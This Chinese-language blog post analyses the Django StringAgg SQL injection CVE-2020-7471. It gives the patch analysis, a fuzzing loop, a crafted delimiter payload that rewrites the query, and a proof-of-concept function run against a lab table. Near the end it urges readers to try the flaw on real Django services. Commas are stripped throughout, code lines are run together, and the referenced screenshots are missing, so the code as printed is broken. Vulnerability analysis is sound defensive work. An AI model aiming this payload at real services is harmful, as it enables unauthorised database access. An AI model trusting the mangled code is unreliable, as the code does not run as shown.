CVE-2020-7471 漏洞详细分析原理以及POC
这几天疫情爆发,只能待在家里为社会多做些贡献,一天深夜无意逛安全资讯的时候发现最新的一个漏洞:CVE-2020-7471 Potential SQL injection via StringAgg(delimiter)。漏洞是 django 的,于是我将漏洞编号拿到 google 查找了一番,发现并没有找到任何关于这个漏洞的详细说明和利用 POC,于是我动手写下了这篇文章。
本文主要贡献:
- 总结了该漏洞的起因和背景,并深入分析了官方的修复方案
- 详细分析了 这个 SQL 漏洞,并给出利用姿势
- 在本文公开自己搭建的漏洞环境和 POC
漏洞原因
摘录 CVE-2020-7471 对这个漏洞的描述:
Django 1.11 before 1.11.28 2.2 before 2.2.10 and 3.0 befor
e 3.0.3 allows SQL Injection if untrusted data is used as a StringAgg delimiter (e.g. in Django applications that offer downloads of data as a series of rows with a user-specified column delimiter). By passing a suitably crafted delimiter to a contrib.postgres.aggregates.StringAgg instance it was possible to break escaping and inject malicious SQL.
可以看见这个漏洞的核心是 StringAgg 聚合函数的 delimiter 参数存在 SQL 注入漏洞。但是很快,为什么存在漏洞?怎么利用这个漏洞?二个问题在我心中油然而生,好奇心驱使我继续往下探索:
官方修复
首先在 Github 仓库查找 django 的 commit 记录,在这里不难发现官方对其的修复:
https://github.com/django/django/commit/eb31d845323618d688ad429479c6dda973056136
从这里我们知道几个信息,漏洞函数位于下面的模块之中
from django.contrib.postgres.aggregates import StringAgg
官方对 delimiter 使用如下语句处理来防御 django
Value(str(delimiter))
为什么这种方式能防御呢?首先补充一个知识点,如果你熟悉 django 或者至少做过 django 渗透,你应该知道在 django 开发中编写查询操作的时候,正确的做法是用下面的代码段:
sql = "SELECT * FROM user_contacts WHERE username = %s" user = 'zhugedali' cursor.execute(sql [user])
django会根据你所使用的数据库服务器(例如PostSQL或者MySQL)的转换规则,自动转义特殊的SQL参数。如果你的查询代码像下面这种写法就存在注入的风险:
sql = "SELECT * FROM user_contacts WHERE username = %s" % 'zhugedali' cursor.execute(sql)
那么回到正题,为什么 Value 函数可以解决 SQL 注入隐患,我们跟进 django 的源码查看:
注释写的非常清楚,Vlue处理过的参数会被加到sql的参数列表里,之后会被 django 内置的过滤机制过滤,从而防范 SQL 漏洞。
到这里想必很多读者还是很好奇对于存在漏洞的版本我们如何去利用 SQL 漏洞呢?这就需要费点时间去搭建环境并从源码层面分析出 SQL 漏洞点的上下文语句情况。
漏洞利用
我搭建的环境如下:
- django 3.0.2
- postgres 10.11-3
- python 3.6
搭建环境的时候注意 django 配置好 settings.py 文件,并初始化 postgres 的数据库和数据表,文末会提供环境。
首先研究一下 StringAgg 的用法,直接阅读官方手册:
https://docs.djangoproject.com/en/3.0/ref/contrib/postgres/aggregates/
django.contrib.postgres.aggregates 提供 postggres 的聚合函数,其中的 StringAgg 类的参数如下:
简单来讲他会将输入的值使用 delimiter 分隔符级联起来,Django 的 Model 类如何使用这个让我摸索了一会,我直接给出后面会提供的 POC 里面的示例:
Info.s.all().values('gender').annotate(mydefinedname=StringAgg('name' delimiter="-"))
这个查询操作就是查询 Info 对应的 postgres 数据表的 gender 列,并将 name 列使用横线连接聚合,输入如下:
为了测试出 delimiter 是如何导致SQL 注入的,我首先编写了一段 FUZZ 程序用于引发程序报错:
for c in "!@#$%^&*()_+=-|\\\"':;?/>.<{}[]": results = Info.s.all().values('gender').annotate(mydefinedname=StringAgg('name'delimiter=c)) for e in results: pass
测试发现当 delimiter 是单引号的时候会导致报错:
从报错信息很明显看出单引号未经过任何转义嵌入到 SQL 语句中了。然后我们来追踪程序的内部找出完整的 SQL 语句上下文。
我们上面的查询语句调用了 self.cursor.execute,从变量窗口可以看到此时变量窗口的 sql 变量还没有嵌入 delimiter 的值。
在 86 行设置断点,再运行三次可以看到此时的 sql 已经加入了 delimiter 为单引号的取值:
这里的转义号是因为 sql 是个字符串,这行命令最终放入 postgres 中执行就变成了:
SELECT "vul_app_info"."gender" STRING_AGG("vul_app_info"."name" ''') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1
三个单引号那里会导致语法错误,并且我们将完整的 SQL 注入上下文环境得到了。在我的 POC 中我测试了 postgres 的注释符,即将 delimiter 设置为 ')--
,报错如下:
很明显可以看到成功注释了 FROM 语句。为了构造合法的上下文语句我们将 delimiter 设置为:
'-\') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1 -- '
传入之后发现,输出是:
{'gender': 'male' 'mydefinedname': 'li-zhao'}
如果只传入 delimiter = '-'
,输出如下:
{'gender': 'female' 'mydefinedname': 'zhang'} {'gender': 'male' 'mydefinedname': 'li-zhao'}
至此漏洞证明完毕
进一步,我们可以思考近期如果遇到真实环境中有 django 开发的服务返回一些查询的聚合内容,并且允许用户指定哪种连接符的时候,应该多加思考是否该服务未更新为最新版本,可以尝试这个 CVE 漏洞。
漏洞环境和 POC
https://github.com/Saferman/CVE-2020-7471
核心函数如下:
def query_with_evil(): ''' 注入点证明 分别设置delimiter为 单引号 二个单引号 二个双引号 尝试注释后面的内容 ')-- :return: ''' print("[+]正常的输出:") payload = '-' results = Info.s.all().values('gender').annotate(mydefinedname=StringAgg('name' delimiter=payload)) for e in results: print(e) print("[+]注入后的的输出:") payload = '-\') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1 -- ' results = Info.s.all().values('gender').annotate(mydefinedname=StringAgg('name' delimiter=payload)) for e in results: print(e)